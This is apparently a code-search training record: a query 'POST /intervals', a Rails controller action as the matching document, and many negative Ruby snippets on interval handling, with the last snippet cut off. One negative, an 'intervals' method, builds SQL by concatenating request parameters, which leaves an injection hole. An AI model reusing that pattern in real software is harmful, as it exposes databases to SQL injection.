[ "0.7264185", "0.7137619", "0.6408773", "0.6279478", "0.61838967", "0.615904", "0.60526365", "0.6005903", "0.598918", "0.5953488", "0.5936657", "0.5854133", "0.58369577", "0.579972", "0.5781284", "0.5769225", "0.5748122", "0.5702627", "0.5683337", "0.56713635", "0.56399065", "0.5608863", "0.55922467", "0.5574454", "0.55607027", "0.5556591", "0.5548762", "0.55406594", "0.5531751", "0.55288315", "0.5479569", "0.547673", "0.54716593", "0.54696876", "0.5469543", "0.5456878", "0.543778", "0.5420521", "0.54154277", "0.5412529", "0.54039204", "0.5392986", "0.53926444", "0.53895426", "0.53870136", "0.5385254", "0.5366296", "0.5365682", "0.53644484", "0.53629833", "0.53629833", "0.53581685", "0.53581685", "0.53552896", "0.53445137", "0.53445137", "0.5343459", "0.5332494", "0.532374", "0.5321841", "0.53136593", "0.53119105", "0.5311762", "0.53041023", "0.5299896", "0.5297832", "0.52850646", "0.5281726", "0.52793354", "0.52766", "0.52676326", "0.52664095", "0.5265969", "0.52616143", "0.5254468", "0.5251447", "0.5244378", "0.52392375", "0.52391195", "0.52391195", "0.5233034", "0.52325094", "0.5230773", "0.52274585", "0.5227396", "0.52251977", "0.5223682", "0.5222801", "0.52189624", "0.52186584", "0.521811", "0.521811", "0.521811", "0.52143776", "0.52115303", "0.5209958", "0.52078617", "0.5201517", "0.5197542", "0.519626" ]
0.7943582
0
POST /intervals POST /intervals.json
def create @interval = Interval.new(params[:interval]) respond_to do |format| if @interval.save format.html { redirect_to @interval, notice: 'Interval was successfully created.' } format.json { render json: @interval, status: :created, location: @interval } else format.html { render action: "new" } format.json { render json: @interval.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @interval = Interval.new(interval_params)\n\n respond_to do |format|\n if @interval.save\n format.html { redirect_to @interval, notice: 'Interval was successfully created.' }\n format.json { render :show, status: :created, location: @interval }\n else\n format.html { render :new }\n format.json { render json: @interval.errors, status: :unprocessable_entity }\n end\n end\n end", "def intervals\n rest.get instrument_path('activeIntervals')\n end", "def interval_params\n params.require(:interval).permit(:numerator, :denominator, :description, :name)\n end", "def parse_intervals\n intervals = Array.new\n headers_index = 16\n data_index = headers_index + 1\n headers = @data[headers_index].map!(&:underscore)\n current_interval = nil\n @data[data_index,@data.size].map.with_index do |r,i|\n if r.empty?\n @_interval_sample_index = data_index + i + 1\n break\n else\n zipped = (headers).zip(@data[data_index + i])\n i = WFWorkoutInterval.new\n Hash[zipped].map { |k,v|\n if k == \"interval\"\n if current_interval == v\n i.subinterval = true\n else\n i.subinterval = false\n end\n current_interval = v\n end\n i.instance_variable_set(\"@#{k}\",v)\n }\n intervals.push(i)\n end\n end\n return intervals\n end", "def new\n @interval = Interval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interval }\n end\n end", "def valid_intervals\n VALID[:interval]\n end", "def get_work_intervals(intervals)\n intervals\n .group_by do |interval|\n interval.time_in.to_date\n end\n .values\n end", "def set_interval\n @interval = Interval.find(params[:id])\n end", "def intervals\n parts = {}\n [:minute, :hour, :day, :month, :day_of_week].each do |granularity|\n if times = times_for(granularity)\n parts[granularity] = times\n end\n end\n\n merged_product parts\n # interval_list.concat times.map {|t| {granularity => t} }\n # m = expression[:minute]\n # m.split(\",\").each do |part|\n # time, divisor = part.split(\"/\")\n # start_time, end_time = time.split \"-\"\n\n # interval_list << {:minute => start_time.to_i}\n # end\n end", "def create\n @interval_constraint = IntervalConstraint.new(interval_constraint_params)\n\n respond_to do |format|\n if @interval_constraint.save\n format.html { redirect_to @interval_constraint, notice: 'Interval constraint was successfully created.' }\n format.json { render :show, status: :created, location: @interval_constraint }\n else\n format.html { render :new }\n format.json { render json: @interval_constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def subintervals(intervals, &block)\n raise ArgumentError.new('intervals must be an array') unless intervals.is_a? Array\n\n steps = [] # Steps will be extracted from intervals\n subintervals = [] # The output\n last_time = nil\n last_attrs = nil\n started_count = 0 # The number of intervals opened inside the cycle\n\n # Extract start times and end times from intervals, and create steps\n intervals.each do |el|\n begin\n ts = el[:time_start].to_time\n te = el[:time_end].to_time\n rescue NoMethodError\n raise ArgumentError.new('intervals must define :time_start and :time_end as Time or Date')\n end\n attrs = el.clone\n attrs.delete(:time_start)\n attrs.delete(:time_end)\n steps << { opening: 1, time: el[:time_start], attrs: attrs } # Start step\n steps << { opening: -1, time: el[:time_end], attrs: attrs.clone } # End step\n end\n\n # Sort steps by time (and opening if time is the same)\n steps.sort! do |a,b|\n diff = a[:time] <=> b[:time]\n diff = a[:opening] <=> b[:opening] if (diff == 0)\n diff\n end\n\n # Iterate over steps\n steps.each do |step|\n if (started_count == 0)\n last_time = step[:time]\n last_attrs = step[:attrs]\n else\n if(step[:time] > last_time)\n subintervals << ({\n time_start: last_time,\n time_end: step[:time]\n }.merge(last_attrs))\n\n last_time = step[:time]\n end\n\n if block_given?\n last_attrs = block.call(last_attrs.clone, step[:attrs],(step[:opening] == 1 ? :open : :close))\n else\n last_attrs = step[:attrs]\n end\n end\n\n # Update started_count\n started_count += step[:opening]\n end\n\n subintervals\n end", "def poll_intervals\n [0.5, 1, 2, 4, 8, 16]\n end", "def initialize(intervals)\n @intervals = Utils::Ring.wrap(intervals)\n end", "def intervals_in_range\n @user.intervals\n .where('DATE(time_in) BETWEEN ? AND ?', @date_range.begin.to_date, @date_range.end.to_date)\n .order(:time_in)\n end", "def index\n @interval_constraints = IntervalConstraint.all\n end", "def create\n @stock_interval = StockInterval.new(stock_interval_params)\n\n respond_to do |format|\n if @stock_interval.save\n format.html { redirect_to @stock_interval, notice: 'Stock interval was successfully created.' }\n format.json { render action: 'show', status: :created, location: @stock_interval }\n else\n format.html { render action: 'new' }\n format.json { render json: @stock_interval.errors, status: :unprocessable_entity }\n end\n end\n end", "def interval_param\n \"interval:auto\"\n end", "def get_interval(interval)\n case interval\n when :custom\n return {}\n when :hourly\n @start = (@run_time - 1.hour).beginning_of_hour\n @end = (@run_time - 1.hour).end_of_hour\n return {@field => @start..@end}\n when :daily\n @start = @run_time.yesterday.beginning_of_day\n @end = @run_time.yesterday.end_of_day\n return {@field => @start..@end}\n when :weekly\n @start = @run_time.yesterday.beginning_of_week\n @end = @run_time.yesterday.end_of_week\n return {@field => @start..@end}\n when :monthly\n @start = @run_time.yesterday.beginning_of_month\n @end = @run_time.yesterday.end_of_month\n return {@field => @start..@end}\n when :yearly\n @start = @run_time.yesterday.beginning_of_year\n @end = @run_time.yesterday.end_of_year\n return {@field => @start..@end}\n end\n end", "def boundaries\n [intervals.first[0], intervals.last[1]]\n end", "def insert(intervals, new_interval)\r\n left, right = [], []\r\n intervals.each do |i_start, i_end|\r\n # Left\r\n if i_end < new_interval[0]\r\n left << [i_start, i_end]\r\n # Right\r\n elsif i_start > new_interval[1]\r\n right << [i_start, i_end]\r\n elsif \r\n new_interval[0] = [new_interval[0], i_start].min\r\n new_interval[1] = [new_interval[1], i_end].max\r\n end\r\n end\r\n\r\n left + [new_interval] + right\r\nend", "def show\n @interval = Interval.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @interval }\n end\n end", "def update\n @interval = Interval.find(params[:id])\n\n respond_to do |format|\n if @interval.update_attributes(params[:interval])\n format.html { redirect_to @interval, notice: 'Interval was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interval.errors, status: :unprocessable_entity }\n end\n end\n end", "def intervals\n #query = \"SELECT idschool,codesc,nomeesc,bairro,end_esc\"\n #query = query + \",num_esc,ab1em_14,ap3em_14,enem2013,longitude,latitude FROM schoolbs\"\n query = \"SELECT * FROM (SELECT row_number() OVER (ORDER BY s.enem2013 DESC nulls last) as ranking,\"\n query = query + \" idschool,codesc,nomeesc,bairro,end_esc,num_esc,ab1em_14,ap3em_14,enem2013,nomemun,telefone,cep,\"\n query = query + \" CASE WHEN biblio>0 THEN 'SIM' ELSE 'NÃO' END as id_biblio,\"\n query = query + \" CASE WHEN lab_inf>0 THEN 'SIM' ELSE 'NÃO' END as id_lab_inf,\"\n query = query + \" longitude,latitude FROM schoolbs s) t1 LEFT JOIN ( SELECT schoolb_id, NULLIF(AVG(value),0.0)\"\n query = query + \" as stars FROM qualifications GROUP BY schoolb_id) t2 ON t1.idschool = t2.schoolb_id\"\n query = query + \" WHERE t1.\" + params[:test] + \" >= \" + params[:lo] + \" AND t1.\" + params[:test] + \" <= \" + params[:hi];\n #render html: query\n @schoolbs = Schoolb.find_by_sql(query)\n end", "def reserves=(x)\n if x.is_a?(Hash)\n $stderr.puts ':reserves is deprecated. Please use :intervals instead.'\n self.intervals=x \n end\n end", "def intervals\n @intervals ||= BoardInterval.find_all(interval_set.members)\n end", "def create\n @timing = Timing.new(params[:timing].slice(:start, :stop, :days, :parent_class, :parent_id, :active))\n if @timing.save\n render json: @timing\n else\n render json: { error: 'error: could not save timing' }\n end\n end", "def update\n respond_to do |format|\n if @interval.update(interval_params)\n format.html { redirect_to @interval, notice: 'Interval was successfully updated.' }\n format.json { render :show, status: :ok, location: @interval }\n else\n format.html { render :edit }\n format.json { render json: @interval.errors, status: :unprocessable_entity }\n end\n end\n end", "def insert(intervals, new_interval)\n intervals << new_interval\n intervals.select { |x| x.end < new_interval.start } +\n [intervals.select { |x| overlaps?(x, new_interval) }.reduce { |acc, x|\n Interval.new([acc.start, x.start].min, [acc.end, x.end].max)\n }] +\n intervals.select { |x| new_interval.end < x.start}\nend", "def create\n @inventory_template = InventoryTemplate.new(params[:inventory_template])\n # @inventory_template.restaurant = current_owner.restaurant\n\n @intervals = []\n 24.times do |h| \n 4.times do |m| \n if h<10 and m!=0\n @intervals << \"0#{h}:#{m*15}\" \n elsif h<10 and m==0\n @intervals << \"0#{h}:00\" \n elsif h>=10 and m!=0\n @intervals << \"#{h}:#{m*15}\" \n elsif h>=10 and m==0\n @intervals << \"#{h}:0#{m*15}\" \n else\n @intervals << \"#{h}:#{m*15}\" \n end\n end\n end\n @intervals << \"24:00\"\n\n @intervals.each do |interval| \n quan = params[:inventory_template][:quantity_available][\"#{@intervals.index(interval)}\".to_s]\n unless interval == \"24:00\" or quan.to_i == 0\n \n @inventory_template = InventoryTemplate.new(inventory_template_group_id: params[:inventory_template][:inventory_template_group_id])\n # @inventory_template = InventoryTemplate.new(name: params[:inventory_template][:name])\n # @inventory_template.restaurant = current_owner.restaurant\n # @inventory_template.primary = params[:inventory_template][:primary]\n \n @inventory_template.start_time = interval\n @inventory_template.end_time = @intervals[@intervals.index(interval)+1]\n @inventory_template.quantity_available = quan\n\n @inventory_template.save\n end \n end \n\n redirect_to :back,\n notice: 'Inventory Template was successfully created.'#inventory_templates_path\n end", "def merge_intervals(intervals)\n intervals.sort_by!(&:start)\n\n merged = []\n\n intervals.each do |interval|\n if merged.empty?\n merged << interval\n elsif merged.last.end >= interval.start\n merged.last.end = [merged.last.end, interval.end].max\n else\n merged << interval\n end\n end\n\n merged\nend", "def to_a\n result = []\n @intervals.each do |int|\n result << int.to_a\n end\n result\n end", "def sum_of_intervals(intervals)\n cleaned_intervals = [[]]\n comparison_array = []\n intervals.sort.each_with_index do |array, i|\n if i == 0\n cleaned_intervals[-1].push(array)\n comparison_array = array\n else\n if array[0] >= comparison_array[1]\n cleaned_intervals.push([])\n cleaned_intervals[-1].push(array)\n comparison_array = array\n else\n cleaned_intervals[-1].push(array)\n comparison_array = [[comparison_array[0], array[0]].min, [comparison_array[1], array[1]].max]\n end\n end\n end\n cleaned_intervals = cleaned_intervals.map { |arr| arr.flatten(1).minmax }\n cleaned_intervals.reduce(0) { |sum, arr| sum += arr[1] - arr[0] }\nend", "def interval_constraint_params\n params.require(:interval_constraint).permit(:from, :to, :constraint_id, :constraint_type)\n end", "def destroy\n @interval = Interval.find(params[:id])\n @interval.destroy\n redirect_to(intervals_url)\n end", "def intervals(from = nil, to = nil)\n return [] unless intervals_beginning\n \n from ||= intervals_beginning\n to ||= Time.now.beginning_of_next_day\n intervals = []\n \n @intervals.each do |start, stop|\n if from > start\n if stop > from\n stop = to if to < stop\n intervals.push [from, stop]\n end\n next\n elsif stop > to\n intervals.push [start, to] if start < to\n break\n end\n intervals.push([start, stop])\n end\n \n if @started_at && @started_at < to && to == Time.now.beginning_of_next_day\n intervals.push([@started_at, Time.now])\n end\n \n intervals\n end", "def destroy\n @interval = Interval.find(params[:id])\n @interval.destroy\n\n respond_to do |format|\n format.html { redirect_to intervals_url }\n format.json { head :no_content }\n end\n end", "def get_interval_data(sensor_id, access_token, interval)\n data= MySmartGrid.get(\n \"/sensor/#{sensor_id}?interval=#{interval}&resolution=minute&unit=watt\",\n :headers => { \"X-Version\" => \"1.0\", \n \"X-Token\" => access_token,\n \"Accept\" => \"application/json\"\n });\n return JSON.parse(data.body)\n end", "def missing_intervals(collected_intervals, desired_intervals)\n res = []\n\n collected_intervals.sort! do |x, y|\n if x.first > y.first\n 1\n elsif x.first < y.first\n -1\n end\n end\n\n prev = 0\n temp_arr = []\n\n collected_intervals.each do |duple| \n # p duple\n first = duple[0]\n last = duple[1]\n\n if temp_arr.empty?\n if first == desired_intervals[0]\n temp_arr = [last]\n elsif last > desired_intervals[0] && desired_intervals[0] > first\n temp_arr = [last]\n \n elsif last > desired_intervals[0] && first > desired_intervals[0]\n temp_arr = [desired_intervals[0], first]\n res.push(temp_arr)\n temp_arr = [last]\n end\n next\n end\n\n # between\n if desired_intervals[1] == last\n temp_arr.push(first)\n res.push(temp_arr)\n break\n elsif desired_intervals[1] < first && desired_intervals[1] < last\n temp_arr.push(desired_intervals[1])\n res.push(temp_arr)\n break\n else\n temp_arr.push(first)\n res.push(temp_arr)\n temp_arr = [last]\n end\n\n end\n\n res\nend", "def interval=(val)\n attribute_set(:interval,val.kind_of?(Numeric) ? val : INTERVALS_MAP[val.to_s])\n end", "def supported_payment_intervals\n HashWithIndifferentAccess.new(\n weekly: 1,\n fortnightly: 2,\n monthly: 3,\n quarterly: 4,\n halfyearly: 5,\n annually: 6\n )\n end", "def merge_intervals(intervals)\n return [] if intervals.empty?\n # sort the intervals with regard to the start\n # we have the biggest chance to merge the next interval in the current if it is close enough\n\n # this can be implemented in NLogN\n merged_intervals = []\n\n sorted_start_intervals = intervals.sort { |a, b| a[0] <=> b[0] }\n current_interval = intervals[0]\n\n sorted_start_intervals[1...].each do |interval|\n if current_interval[1] >= interval[0]\n current_interval[1] = [interval[1], current_interval[1]].max\n else\n merged_intervals << current_interval\n current_interval = interval\n end\n end\n\n return merged_intervals << current_interval\nend", "def get_periods(id, starts: nil, ends: nil, threshold:, operation:)\n params = {:start => starts, :end => ends, :threshold => threshold, :op => operation}\n params.delete_if { |k, v| v.nil? }\n @client.http_get(\"/#{@resource}/#{id}/periods?\"+URI.encode_www_form(params))\n end", "def interval\n @attributes[:interval]\n end", "def interval; end", "def interval; end", "def stop\n if @started_at\n returning [@started_at, Time.now] do |interval|\n @intervals << interval\n @started_at = nil\n end\n end\n end", "def parse_interval_samples\n interval_samples = Array.new\n headers_index = @_interval_sample_index\n headers = @data[headers_index].map!(&:underscore)\n data_index = headers_index + 1\n @data[data_index,@data.size].map.with_index do |r,i|\n if r.empty?\n break\n else\n zipped = headers.zip(@data[data_index + i])\n s = WFCSVWorkoutIntervalSample.new\n Hash[zipped].map { |k,v|\n s.instance_variable_set(\"@#{k}\",v)\n }\n end\n interval_samples.push(s)\n end\n return interval_samples\n end", "def index\n @stock_intervals = StockInterval.all\n end", "def perform_in(interval, *args)\n int = interval.to_f\n now = Time.now.to_f\n ts = (int < 1_000_000_000 ? now + int : int)\n\n item = { 'class' => self, 'args' => args, 'at' => ts }\n\n # Optimization to enqueue something now that is scheduled to go out now or in the past\n item.delete('at'.freeze) if ts <= now\n\n client_push(item)\n end", "def range_for_graph model, interval, type\n graph_range = []\n interval.times do |time_ago|\n case current_consul.minister?\n when true\n if type == \"days\"\n count = model.where(\"DATE(created_at) = ?\", time_ago.days.ago).count\n else\n count = model.where(created_at: (time_ago+1).weeks.ago..(time_ago).weeks.ago).count\n end\n else\n if type == \"days\"\n case model.to_s\n when \"Ambassador\"\n count = model.where(\"DATE(created_at) = :date and id in (:ids)\", date: time_ago.days.ago, ids: current_consul.embassy.ambassador_ids).count\n when \"Point\"\n count = model.where(\"DATE(created_at) = :date and mission_id in (:ids)\", date: time_ago.days.ago, ids: current_consul.embassy.mission_ids).count\n when \"Post\"\n slogan_ids = Slogan.where(mission_id: current_consul.embassy.mission_ids)\n count = model.where(\"DATE(created_at) = :date and slogan_id in (:ids)\", date: time_ago.days.ago, ids: slogan_ids).count\n when \"Badge\"\n reward_ids = Reward.where(mission_id: current_consul.embassy.mission_ids)\n count = model.where(\"DATE(created_at) = :date and reward_id in (:ids)\", date: time_ago.days.ago, ids: reward_ids).count\n else\n count = model.where(\"DATE(created_at) = ?\", time_ago.days.ago).count\n end\n else\n case model.to_s\n when \"Ambassador\"\n count = model.where(created_at: (time_ago+1).weeks.ago..(time_ago).weeks.ago, id: current_consul.embassy.ambassador_ids).count\n when \"Point\"\n count = model.where(created_at: (time_ago+1).weeks.ago..(time_ago).weeks.ago, mission_id: current_consul.embassy.mission_ids).count\n when \"Post\"\n slogan_ids = Slogan.where(mission_id: current_consul.embassy.mission_ids)\n count = model.where(created_at: (time_ago+1).weeks.ago..(time_ago).weeks.ago, slogan_id: slogan_ids).count\n when \"Badge\"\n reward_ids = Reward.where(mission_id: current_consul.embassy.mission_ids)\n count = model.where(created_at: (time_ago+1).weeks.ago..(time_ago).weeks.ago, reward_id: reward_ids).count\n else\n count = model.where(created_at: (time_ago+1).weeks.ago..(time_ago).weeks.ago).count\n end\n end\n end\n graph_range << count\n end\n graph_range.reverse.join(\",\")\n end", "def timecontroll_params\n params.require(:timecontroll).permit(:start, :end, :gap)\n end", "def create\n cnt = params[:tutor_availability][:repeat].to_i - 1\n params[:tutor_availability].delete :repeat\n @tutor_availability = TutorAvailability.new(params[:tutor_availability])\n\n respond_to do |format|\n if @tutor_availability.save\n if cnt > 0\n for i in 1..cnt\n new_ta = TutorAvailability.new(params[:tutor_availability])\n new_ta.start_time = @tutor_availability.start_time + 604800*i\n new_ta.save\n end\n end\n format.html { redirect_to tutor_availabilities_path, notice: 'Tutor availability was successfully created.' }\n format.json { render json: @tutor_availability, status: :created, location: @tutor_availability }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tutor_availability.errors, status: :unprocessable_entity }\n end\n end\n end", "def stock_interval_params\n params.require(:stock_interval).permit(:ticker, :open, :close, :interval, :volume, :percChange)\n end", "def create\n @salary_range = SalaryRange.new(params[:salary_range])\n\n respond_to do |format|\n if @salary_range.save\n format.html { redirect_to @salary_range, notice: 'Salary range was successfully created.' }\n format.json { render json: @salary_range, status: :created, location: @salary_range }\n else\n format.html { render action: \"new\" }\n format.json { render json: @salary_range.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_grading_periods(interval, year, ed_org_id)\n grading_periods = []\n grading_periods << {\"type\" => :END_OF_YEAR, \"year\" => year, \"interval\" => interval, \"ed_org_id\" => ed_org_id}\n grading_periods\n end", "def interval=(interval)\n if interval.nil?\n fail ArgumentError, 'invalid value for \"interval\", interval cannot be nil.'\n end\n @interval = interval\n end", "def insert_metrics_for_range(min, max)\n metrics_not_exists_clause =\n <<-SQL.strip_heredoc\n NOT EXISTS (SELECT 1 FROM merge_request_metrics\n WHERE merge_request_metrics.merge_request_id = merge_requests.id)\n SQL\n\n MergeRequest.where(metrics_not_exists_clause).where(id: min..max).each_batch do |batch|\n select_sql = batch.select(:id, :created_at, :updated_at).to_sql\n\n execute(\"INSERT INTO merge_request_metrics (merge_request_id, created_at, updated_at) #{select_sql}\")\n end\n end", "def show\n Interval.find(params[:id])\n end", "def get_intervals\n @notes.combination(2).map do |low_voice, high_voice|\n {\n low: low_voice,\n high: high_voice,\n value: high_voice.pitch - low_voice.pitch\n }\n end\n end", "def interval=(new_interval)\n @interval = new_interval\n self[Incident.interval_predicate] = new_interval.uri\n end", "def set_interval_constraint\n @interval_constraint = IntervalConstraint.find(params[:id])\n end", "def interval ; @options[ :interval ] ; end", "def perform_in(interval, *args); end", "def perform_in(interval, *args); end", "def destroy\n @interval.destroy\n respond_to do |format|\n format.html { redirect_to intervals_url, notice: 'Interval was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def interval\n if @interval\n @interval\n elsif !self[Incident.interval_predicate].empty?\n @interval = Interval.find(self[Incident.interval_predicate].first)\n else\n nil\n end\n end", "def add(min, max)\n if intervals.empty?\n intervals << [min, max]\n return\n end\n\n new_list = []\n while interval = intervals.shift\n if interval[1] < min\n new_list << interval\n elsif interval[0] > min\n if interval[0] > max\n new_list << [min, max] << interval\n break\n else\n new_list << [min, [max, interval[1]].max]\n end\n break\n else\n new_list << [interval[0], [max, interval[1]].max]\n break\n end\n end\n\n if intervals.empty? && new_list.last[1] < min\n new_list << [min, max]\n\n elsif new_list.last[1] <= max\n while interval = intervals.shift\n last_interval = new_list.last\n\n # It is guaranteed that interval[0] > last_interval[0].\n # We therefore only need to check if interval[0] is\n # included in last_interval\n if interval[0] <= last_interval[1]\n if last_interval[1] < interval[1]\n last_interval[1] = interval[1]\n break\n end\n else\n new_list << interval\n break\n end\n end\n end\n\n # We now know that the last interval in new_list has an upper\n # bound that comes from an already existing interval. We are\n # therefore sure that there are no overlaps.\n new_list.concat(intervals)\n @intervals = new_list\n self\n end", "def create\n @arrival_range = ArrivalRange.new(params[:arrival_range])\n\n respond_to do |format|\n if @arrival_range.save\n format.html { redirect_to @arrival_range, notice: 'Arrival range was successfully created.' }\n format.json { render json: @arrival_range, status: :created, location: @arrival_range }\n else\n format.html { render action: \"new\" }\n format.json { render json: @arrival_range.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n data = reload(get_series('sleep'), str(Date.strptime(params[:sleep].values.join(\"-\"))))\n saved = false\n get_series('sleep').each do |s|\n data[s].each do |day|\n logger.debug \"data=#{day} date=#{day['dateTime']} value=#{day['value']}\"\n @sleep = for_date(day['dateTime'])\n\t# get variable name from last part of series\n @sleep.send(s.rpartition('/')[2] + '=', day['value'])\n saved = @sleep.save\n if not saved\n flash[:error] = @sleep.errors\n end\n end\n end\n \n respond_to do |format|\n flash[:success] = 'Sleep was successfully created.'\n format.html { redirect_to sleeps_path }\n format.json { render :json => sleeps_path, :status => :created, :location => sleeps_path }\n end\n end", "def schedule(start = 0, stop = 100)\n\n # Sort intervals by end point asc\n # iterate from left to right\n # at each endpoint find the max weight from the start to that endpoint\n # Make a comparison if the start of the interval is after the end of the previous \"checkpoint\"\n # add the weight adn that is the new checkpoint\n # if it overlaps then select the larger of the two endpoints\n # This is almost right but not quite\n # we want to break up at previously weighed sectionif we need to\n # we shodul get keep the list of all endpoints weights\n\n # x---x\n # x----x\n # x-------x\n\n # 1,4,3\n # 5,9,4\n # 7,12,5\n\n # Keep the checkpoints here\n # [4:3, 9:7]\n # then see 7,12,5\n # choose 5 or 7 we'd say 7 and may want to do say 7 is max from 0<=>12\n # but if we split it up\n # [4:3, 9:7, 12:8]\n # we could get max 8 if we exclude the middle one\n\n endpoints = []\n interval_list = sort(@interval_list)\n\n interval_list.each do |interval|\n max_weight = interval.weight\n steps = []\n\n # endpoint list is sorted so ya konw we could just do binary search here\n # woudl bring the whoel thing down to nlgn\n endpoints.reverse.each do |endpoint|\n if interval.start > endpoint.stop\n max_weight += endpoint.best_weight\n steps = endpoint.steps.clone\n break\n end\n end\n\n # If we do better by ignoring this interval than record that\n if endpoints.last && endpoints.last.best_weight > max_weight\n max_weight = endpoints.last.best_weight\n steps = endpoints.last.steps\n else\n steps << interval\n end\n\n endpoints << EndpointWeight.new(interval.stop, max_weight, steps)\n end\n\n # endpoints is non-decrasing with each entry. Last must be max\n puts endpoints.last\n endpoints.last.best_weight\n end", "def create\n #@incident = @quote.incidents.new(incident_params)\n logger.info params[:incident]\n params[:incident].each do |incident|\n @incident = @quote.incidents.new(incident)\n @incident.save\n end\n respond_to do |format|\n format.json { render :json => { :code => \"201\", :description => \"Created incidents\"} }\n end\n end", "def create_interest_params\n params.permit(:yelp_id, :interests => [:min_seats, :max_seats, :datetime])\n end", "def add_to_list(interval)\n # edge case \n if (interval.begin_t < @list[0].begin_t)\n @list.insert(0, IntervalCounter.new(interval.begin_t, @list[0].begin_t, interval.items))\n end\n # other cases\n i = 0\n while @list[i]\n if (interval.begin_t < @list[i].begin_t && interval.end_t > @list[i].end_t)\n @list[i].items = increment_new_list(interval.items, @list[i].items, true)\n \n elsif (interval.end_t > @list[i].begin_t && interval.end_t < @list[i].end_t)\n items_list = increment_new_list(interval.items, @list[i].items, false)\n time_slot = IntervalCounter.new(@list[i].begin_t, interval.end_t, items_list)\n @list[i].begin_t = interval.end_t\n @list.insert(i, time_slot)\n \n elsif (interval.begin_t > @list[i].begin_t && interval.begin_t < @list[i].end_t)\n items_list = increment_new_list(interval.items, @list[i].items, false)\n time_slot = IntervalCounter.new(interval.begin_t, @list[i].end_t, items_list)\n @list[i].end_t = interval.begin_t\n @list.insert(i + 1, time_slot)\n \n elsif (interval.begin_t > @list[i].begin_t && interval.end_t < @list[i].end_t)\n time_slot = IntervalCounter.new(interval.end_t, @list[i].end_t, list[i].items)\n @list[i].end_t = interval.begin_t\n items_list = increment_new_list(interval.items, @list[i].items, false)\n @list.insert(i + 1, IntervalCounter.new(interval.begin_t, interval.end_t, items_list))\n @list.insert(i + 1, time_slot)\n end\n if (interval.end_t > @list[@list.length-1].end_t) \n @list.insert(@list.length, IntervalCounter.new(@list[@list.length-1].end_t, interval.end_t, interval.items))\n end\n i += 1\n end\n @list\n end", "def updateRecordsInterval\n @temps = []\n temps_from_db = Temp.last(1152)\n\n temps_from_db.each do |record|\n if record.id % 6 == 0\n @temps << record\n # puts record.id\n end\n end\n render json: @temps\n end", "def create_period\n periods_checked = current_user.periods.active.count\n puts \"The user has #{periods_checked} active periods, trying to create a #{params[:nduration].to_i} days period\"\n if periods_checked == 0\n puts \"The user hasn't active periods\"\n @period = current_user.periods.new(is_active: true, is_updated: false, duration: params[:nduration].to_i, start_date: Date.today.to_s, end_date: (Date.today+params[:nduration].to_i).to_s)\n puts @period\n if @period.save\n render json: @period, status: :created, location: @period\n else\n render json: @period.errors, status: :unprocessable_entity\n end\n else\n puts \"The user has active periods\"\n # render json: @period.errors, status: :unprocessable_entity\n render json: { status: 'ERROR', message: \"The user has an active period\"}, status: :unprocessable_entity\n end\n end", "def interval=(_arg0); end", "def print_tasks_in_interval\n tasks = retrieve_tasks\n @values[:result] = Array.new()\n print_tasks_to_key(tasks[:during])\n end", "def merge(intervals)\n return [] if intervals.empty?\n intervals.sort_by!(&:start)\n [intervals.first].tap do |r|\n intervals[1..-1].each do |i|\n if r[-1].end < i.start\n r << i\n else\n r[-1].end = [i.end, r[-1].end].max\n end\n end\n end\nend", "def work(interval = 5.0)\n end", "def prepare_interval(period, &block); end", "def steps\n intervals.chars[0...-1].reduce([0]) do |ary, step|\n ary << ( ary.last + INTERVALS[step] )\n end\n end", "def counter_schedule_params\n params.require(:counter_schedule).permit(:date, :hour, :branch_id)\n end", "def grouped_by_interval( range )\n grouped = Hash.new {|h,k| h[k] = [] }\n all.each { |r| r.period_in_seconds.step( range ) { |i| grouped[i/(range)] << r } }\n grouped\n end", "def set_boundaries\n return \"Calculated interval for week from input:\" \\\n \" #{@values[:start_time]} - #{@values[:end_time]}\"\n end", "def measure_intervals(max_time, interval, input_thread)\n Thread.new do\n Thread.current.abort_on_exception = true\n begin\n start = time_now\n total = interval\n\n while @running\n runtime = time_now - start\n delta = max_time - runtime\n\n if delta <= 0.0\n @running = false\n end\n\n if delta.round >= 0 && runtime >= total\n total += interval\n @interval_handler.(delta.round)\n end\n end\n ensure\n input_thread.terminate\n end\n end\n end", "def timed_task_params\n params.require(:timed_task).permit(:interval, :measure_of_time)\n end", "def parse_log\n # We save data for the current interval, by request type,\n # as well as all requests ('ALL')\n # Data is recorded for each interval, as well as for the\n # entire period of 'peak' load\n\n fl = open(@file_path)\n batch = {}\n interval_start_ts = nil\n interval_end_ts = nil\n until fl.eof?\n ln = fl.readline\n metrics = extract_line_metrics(ln)\n next unless metrics\n this_ts = metrics[0]\n label = metrics[1]\n\n # init interval_end_ts on very first line that we see but\n # align it in epoch time, to make alignment with\n # data from other load generator nodes easy\n unless interval_end_ts\n interval_start_ts = this_ts - this_ts.modulo(@interval_s)\n interval_end_ts = interval_start_ts + @interval_s\n end\n\n # initialize results object\n unless batch.key?(label)\n # init the batch for this time window\n batch[label] = get_batch_hash(interval_start_ts, interval_end_ts)\n unless batch.key?('ALL')\n # init the batch for all requests in this window\n batch['ALL'] = get_batch_hash(interval_start_ts, interval_end_ts)\n end\n end\n # record this request to @intervals_data\n set_metrics(metrics, batch)\n\n if this_ts >= interval_end_ts || fl.eof\n # intervals are keyed by the epoch time at the start of the interval\n @intervals_data[interval_start_ts] = batch\n # set the next interval window, init the next batch of data\n interval_start_ts = interval_end_ts\n interval_end_ts += @interval_s\n batch = {}\n end\n end\n peak_data = create_reports\n return @intervals_data, peak_data\n end", "def poll_interval\n interval_level = poll_attempts[:total]/attempts_before_next_interval\n poll_intervals[interval_level] || poll_intervals.last\n end", "def add_interval(xml, options)\n interval = options[:interval]\n return unless interval\n\n xml.tag!('interval') do\n # The measurement of time, in association with the Interval Unit,\n # that is used to define the frequency of the billing occurrences\n xml.tag!('length', interval[:length])\n # The unit of time, in association with the Interval Length,\n # between each billing occurrence\n xml.tag!('unit', interval[:unit].to_s)\n end\n end", "def create\n # @vote = Vote.new(vote_params)\n\n vote = 